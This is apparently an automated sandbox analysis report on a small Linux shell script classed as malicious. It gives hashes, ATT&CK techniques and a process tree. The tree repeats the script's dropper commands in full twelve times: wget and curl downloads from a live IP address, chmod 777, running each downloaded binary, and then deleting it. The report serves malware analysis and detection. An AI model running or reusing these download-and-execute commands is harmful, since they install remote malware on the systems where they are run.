81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4

Analysis

max time kernel
7s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/06/2026, 03:39

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General

Target
_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
Size 1KB
Sample260623-d73vmsav5x
SHA256 81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4
MD5 1865fee9530043da7871f7c02fc42d3b
SHA1 01e0521ab67c9ccfe1fa05f843c0c8036408d786
SHA512 b3868a19f5736972fca0b6dc983780203df5a9ea2894b995955d78b3bb0da96a1600a96e9fed0b3ea555e97bb2014e29bdd55611f784dd1e60aee98185b38cc1
TLSH
T1BB310FDF45112B392602CACE7367255CB40C91EB2D6BC7E8CC8C4EE987A89CC7221B95
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod
724	chmod
743	chmod
750	chmod
779	chmod
801	chmod
677	chmod
694	chmod
794	chmod
808	chmod
815	chmod
822	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/b83c61	671	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/3a9685	678	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/ff6b53	696	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/0d92bc	727	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/028f6a	744	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/3127f9	751	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/1821a1	780	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/15ce08	795	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/53718b	802	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/cac388	809	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/4e4048	816	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/7634e8	823	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/028f6a	curl
File opened for modification	/tmp/1821a1	curl
File opened for modification	/tmp/15ce08	curl
File opened for modification	/tmp/cac388	curl
File opened for modification	/tmp/4e4048	curl
File opened for modification	/tmp/7634e8	curl
File opened for modification	/tmp/3a9685	curl
File opened for modification	/tmp/0d92bc	curl
File opened for modification	/tmp/3127f9	curl
File opened for modification	/tmp/53718b	curl
File opened for modification	/tmp/b83c61	curl
File opened for modification	/tmp/ff6b53	curl

/tmp/_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://5.182.210.61/b83c61
  2⤵
  PID:647
- /usr/bin/curl
  curl -O http://5.182.210.61/b83c61
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod 777 b83c61
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/b83c61
  ./b83c61 bc
  2⤵
  PID:671
- /bin/rm
  rm -rf b83c61
  2⤵
  PID:673
- /bin/rm
  rm -rf b83c61.1
  2⤵
  PID:674
- /usr/bin/wget
  wget http://5.182.210.61/3a9685
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://5.182.210.61/3a9685
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod 777 3a9685
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/3a9685
  ./3a9685 bc
  2⤵
  PID:678
- /bin/rm
  rm -rf 3a9685
  2⤵
  PID:680
- /bin/rm
  rm -rf 3a9685.1
  2⤵
  PID:681
- /usr/bin/wget
  wget http://5.182.210.61/ff6b53
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://5.182.210.61/ff6b53
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 ff6b53
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/ff6b53
  ./ff6b53 bc
  2⤵
  PID:696
- /bin/rm
  rm -rf ff6b53
  2⤵
  PID:699
- /bin/rm
  rm -rf ff6b53.1
  2⤵
  PID:700
- /usr/bin/wget
  wget http://5.182.210.61/0d92bc
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://5.182.210.61/0d92bc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 0d92bc
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/0d92bc
  ./0d92bc bc
  2⤵
  PID:727
- /bin/rm
  rm -rf 0d92bc
  2⤵
  PID:732
- /bin/rm
  rm -rf 0d92bc.1
  2⤵
  PID:733
- /usr/bin/wget
  wget http://5.182.210.61/028f6a
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://5.182.210.61/028f6a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 028f6a
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/028f6a
  ./028f6a bc
  2⤵
  PID:744
- /bin/rm
  rm -rf 028f6a
  2⤵
  PID:746
- /bin/rm
  rm -rf 028f6a.1
  2⤵
  PID:747
- /usr/bin/wget
  wget http://5.182.210.61/3127f9
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://5.182.210.61/3127f9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 3127f9
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/3127f9
  ./3127f9 bc
  2⤵
  PID:751
- /bin/rm
  rm -rf 3127f9
  2⤵
  PID:753
- /bin/rm
  rm -rf 3127f9.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.61/1821a1
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.61/1821a1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 1821a1
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/1821a1
  ./1821a1 bc
  2⤵
  PID:780
- /bin/rm
  rm -rf 1821a1
  2⤵
  PID:783
- /bin/rm
  rm -rf 1821a1.1
  2⤵
  PID:785
- /usr/bin/wget
  wget http://5.182.210.61/15ce08
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://5.182.210.61/15ce08
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 15ce08
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/15ce08
  ./15ce08 bc
  2⤵
  PID:795
- /bin/rm
  rm -rf 15ce08
  2⤵
  PID:797
- /bin/rm
  rm -rf 15ce08.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://5.182.210.61/53718b
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://5.182.210.61/53718b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod 777 53718b
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/53718b
  ./53718b bc
  2⤵
  PID:802
- /bin/rm
  rm -rf 53718b
  2⤵
  PID:804
- /bin/rm
  rm -rf 53718b.1
  2⤵
  PID:805
- /usr/bin/wget
  wget http://5.182.210.61/cac388
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://5.182.210.61/cac388
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 cac388
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/cac388
  ./cac388 bc
  2⤵
  PID:809
- /bin/rm
  rm -rf cac388
  2⤵
  PID:811
- /bin/rm
  rm -rf cac388.1
  2⤵
  PID:812
- /usr/bin/wget
  wget http://5.182.210.61/4e4048
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://5.182.210.61/4e4048
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 4e4048
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/4e4048
  ./4e4048 bc
  2⤵
  PID:816
- /bin/rm
  rm -rf 4e4048
  2⤵
  PID:818
- /bin/rm
  rm -rf 4e4048.1
  2⤵
  PID:819
- /usr/bin/wget
  wget http://5.182.210.61/7634e8
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://5.182.210.61/7634e8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 7634e8
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/7634e8
  ./7634e8 bc
  2⤵
  PID:823
- /bin/rm
  rm -rf 7634e8
  2⤵
  PID:825
- /bin/rm
  rm -rf 7634e8.1
  2⤵
  PID:826

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b83c61

Path /tmp/b83c61
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads